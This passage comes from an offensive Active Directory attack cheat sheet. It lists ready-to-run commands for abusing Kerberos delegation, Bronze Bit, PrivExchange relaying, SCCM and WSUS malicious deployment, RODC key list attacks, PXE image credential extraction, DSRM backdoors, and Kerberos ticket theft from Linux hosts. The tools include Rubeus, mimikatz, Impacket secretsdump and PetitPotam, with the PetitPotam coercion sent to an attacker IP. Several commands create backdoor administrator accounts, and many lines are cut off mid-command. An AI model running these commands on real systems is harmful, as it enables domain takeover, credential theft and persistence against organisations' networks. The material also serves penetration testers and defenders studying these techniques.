- Ensure sensitive accounts cannot be delegated
- Disable the Print Spooler Service

MS-EFSRPC Abuse with Unconstrained Delegation

Using `PetitPotam` , another tool to coerce a callback from the targeted machine, instead of `SpoolSample` .

```
# Coerce the callback
git clone https://tinyurl.com/22r4qcs7
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP

# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```

Kerberos Constrained Delegation

> Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.

Identify a Constrained Delegation

- BloodHound: `MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p`
- PowerView: `Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft`
- Native

```
Get-DomainComputer -TrustedToAuth | select -exp dnshostname
Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
```

Exploit the Constrained Delegation

- Impacket

```
getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administr
```

- Rubeus: S4U2 attack (S4U2self + S4U2proxy)

```
# with a password
Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /imperso

# with a NT hash
Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:
Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administ
dir \\dc.domain.com\c$
```

- Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator"

```
# Dump ticket
Rubeus.exe tgtdeleg /nowrap
Rubeus.exe triage
Rubeus.exe dump /luid:0x12d1f7

# Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local
```

- Rubeus : using aes256 keys

```
# Get aes256 keys of the machine account
privilege::debug
token::elevate
sekurlsa::ekeys

# Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /
```

Impersonate a domain user on a resource

Require:

- SYSTEM level privileges on a machine configured with constrained delegation

```
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('ad
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$
```

Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

> The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. https://tinyurl.com/yaqrsrpz

1. Import **Powermad** and **Powerview**

```
PowerShell.exe -ExecutionPolicy Bypass
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
```

2. Get user SID

```
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Se
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -ma
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier
```

3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it

```
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString
```

4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties

```
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Exp
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allow
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowed
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -Argume
$Descriptor.DiscretionaryAcl



# alternative
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Propert
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "

# alternative
StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
```

5. Use Rubeus to get hash from password

```
Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan
[*] Input password             : Weakest123*
[*] Input username             : swktest$
[*] Input domain               : factory.lan
[*] Salt                       : FACTORY.LANswktest
[*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
[*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
[*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004D
[*]       des_cbc_md5          : BA297CFD07E62A5E
```

6. Impersonate domain admin using our newly created machine account

```
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impers
.\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B

[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.l
[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
```

```
[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':

    doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOo
    AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
    LmZhY3RvcnkubGFu

[*] Action: Import Ticket
[+] Ticket successfully imported!
```

Kerberos Service for User Extension

- Service For User To Self which allows a service to obtain a TGS on behalf of another user
- Service For User To Proxy which allows a service to obtain a TGS on behalf of another user on another service

S4U2self - Privilege Escalation

1. Get a TGT
   - Using Unconstrained Delegation
   - Using the current machine account: `Rubeus.exe tgtdeleg /nowrap`
2. Use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine.

```
Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"ci
Rubeus.exe ptt /ticket:"base64ticket"

Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"ci
```

The "Network Service" account and the AppPool identities can act as the computer account in terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with local admin rights, like DA) to yourself.

```
# The Rubeus execution will fail when trying the S4UProxy step, but the ticket ge
Rubeus.exe s4u /user:${computerAccount} /msdsspn:cifs/${computerDNS} /impersonate
# The service name is not included in the TGS ciphered data and can be modified a
Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt
```

Kerberos Bronze Bit Attack - CVE-2020-17049

> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.

> Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.

:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)`

Requirements:

- Service account's password hash
- Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
- Impacket PR #1013

Attack #1 - Bypass the `Trust this user for delegation to specified services only - Use Kerberos only` protection and impersonate a user who is protected from delegation.

```
# forwardable flag is only protected by the ticket encryption which uses the serv
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:N

$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b5140

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

# Access "c$"
ls \\service2.test.local\c$
```

Attack #2 - Write Permissions to one or more objects in the AD

```
# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureSt
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:A

# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
```

```
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

# Execute the attack
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate Us

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
```

PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.
:warning: You need a shell on a user account with a mailbox.

1. Exchange server hostname or IP address

   ```
   pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/u
   ```

2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

   ```
   ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
   ```

3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

   ```
   # https://tinyurl.com/2759zpmk/PrivExchange/blob/master/privexchange.py
   python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
   python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u us

   # https://tinyurl.com/266z87m7
   powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
   ```

4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

   ```
   python secretsdump.py xxxxxxxxxx -just-dc
   python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
   ```

5. Clean your mess and restore a previous state of the user's ACL

```
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
```

Alternatively you can use the Metasploit module

```
use auxiliary/scanner/http/exchange_web_server_pushsubscription
```

Alternatively you can use an all-in-one tool : Exchange2domain.

```
git clone github.com/Ridter/Exchange2domain
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d d
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th D
```

SCCM Deployment

> SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

- PowerSCCM - PowerShell module to interact with SCCM deployments
- MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage
- Using **SharpSCCM**

```
.\SharpSCCM.exe get device --server <SERVER8NAME> --site-code <SITE_CODE>
.\SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip
.\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --d
```

- Compromise client, use locate to find management server

```
MalSCCM.exe locate
```

- Enumerate over WMI as an administrator of the Distribution Point

```
MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
```

- Compromise management server, use locate to find primary server
- Use `inspect` on primary server to view who you can target

```
MalSCCM.exe inspect /all
MalSCCM.exe inspect /computers
MalSCCM.exe inspect /primaryusers
MalSCCM.exe inspect /groups
```

- Create a new device group for the machines you want to laterally move too

```
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
MalSCCM.exe inspect /groups
```

- Add your targets into the new group

```
MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL
```

- Create an application pointing to a malicious EXE on a world readable share : `SCCMContentLib$`

```
MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\
MalSCCM.exe inspect /applications
```

- Deploy the application to the target group

```
MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:
MalSCCM.exe inspect /deployments
```

- Force the target group to checkin for updates

```
MalSCCM.exe checkin /groupname:TargetGroup
```

- Cleanup the application, deployment and group

```
MalSCCM.exe app /cleanup /name:demoapp
MalSCCM.exe group /delete /groupname:TargetGroup
```

SCCM Network Access Accounts

> If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain

> credentials.

- Find SCCM blob

```
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_N
NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
NetworkAccessUsername : <![CDATA[E600000001...00F92]]>
```

- Using GhostPack/SharpDPAPI or Mayyhem/SharpSCCM for SCCM retrieval and decryption

```
.\SharpDPAPI.exe SCCM
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
```

- Check ACL for the CIM repository located at
  `C:\Windows\System32\wbem\Repository\OBJECTS.DATA` :

```
Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Prope
ConvertFrom-SddlString ""
```

SCCM Shares

> Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares

- 1njected/CMLoot

```
Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi
```

WSUS Deployment

> Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network

:warning: The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.

- SharpWSUS

1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate`
2. After WSUS Server compromise: `SharpWSUS.exe inspect`
3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"`
4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"`
5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local`
6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group`

RODC - Read Only Domain Controller

RODCs are an alternative for Domain Controllers in less secure physical locations

- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded)
- Any user or group specified in the **managedBy** attribute of an RODC has local admin access to the RODC server

RODC Golden Ticket

- You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC's **msDS-RevealOnDemandGroup** attribute and not in the RODC's **msDS-NeverRevealGroup** attribute

RODC Key List Attack

Requirements:

- Impacket PR #1210 - The Kerberos Key List Attack
- **krbtgt** credentials of the RODC (-rodcKey)
- **ID of the krbtgt** account of the RODC (-rodcNo)
- using Impacket

```
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXX

# keylistattack.py defining a target username (-t flag)
keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXX

# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXX
```

- Using Rubeus

```
Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac
Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.
```

RODC Computer Object

When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**.

- Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute

```
PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGrou
```

PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

```
net user hacker Password123! /add
net localgroup administrators /add hacker
```

- Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

```
# Import the module
PS > Import-Module .\PowerPXE.ps1

# Start the exploit on the Ethernet interface
PS > Get-PXEcreds -InterfaceAlias Ethernet
PS > Get-PXECreds -InterfaceAlias « lab 0 »

# Wait for the DHCP to get an address
>> Get a valid IP address
>>> >>> DHCP proposal IP address: 192.168.22.101
>>> >>> DHCP Validation: DHCPACK
>>> >>> IP address configured: 192.168.22.101

# Extract BCD path from the DHCP response
>> Request BCD File path
>>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
>>> >>> TFTP IP Address:  192.168.22.3

# Download the BCD file and extract wim files
>> Launch TFTP download
>>>> Transfer succeeded.
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
>> Launch TFTP download
>>>> Transfer succeeded.

# Parse wim files to find interesting data
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1
```

DNS Reconnaissance

Perform ADIDNS searches

```
StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
```

DSRM Credentials

> Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

```
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogo

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogo

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogo
```

Linux Active Directory

CCACHE ticket reuse from /tmp

> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with `env | grep KRB5CCNAME` . The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache` . Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.

```
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

$ export KRB5CCNAME=/tmp/krb5cc_1569901115
```

CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys : https://tinyurl.com/yx8w6cuh

```
# Configuration and build
git clone https://tinyurl.com/yx8w6cuh
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for ti
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in
[X] [uid:0] Error retrieving tickets
```

CCACHE ticket reuse from SSSD KCM

SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.

Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.

```
git clone https://tinyurl.com/2ymmnaxs
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```

The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.

CCACHE ticket reuse from keytab

```
git clone https://tinyurl.com/26xxgpxr
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```

Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Use `klist` to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.

```
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
     KVNO: 25
     Key type: 23
     Key: 31d6cfe0d16ae931b73c59d7e0c089c0
     Time stamp: Oct 07,  2019 09:12:02
[...]
```

On Linux you can use `KeyTabExtract` : we want RC4 HMAC hash to reuse the NLTM hash.

```
$ python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```

On macOS you can use `bifrost` .

```
./bifrost -action dump -source keytab -path test
```

Connect to the machine using the account and the hash with CME.

```
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae9
```

Extract accounts from /etc/sssd/sssd.conf

> sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf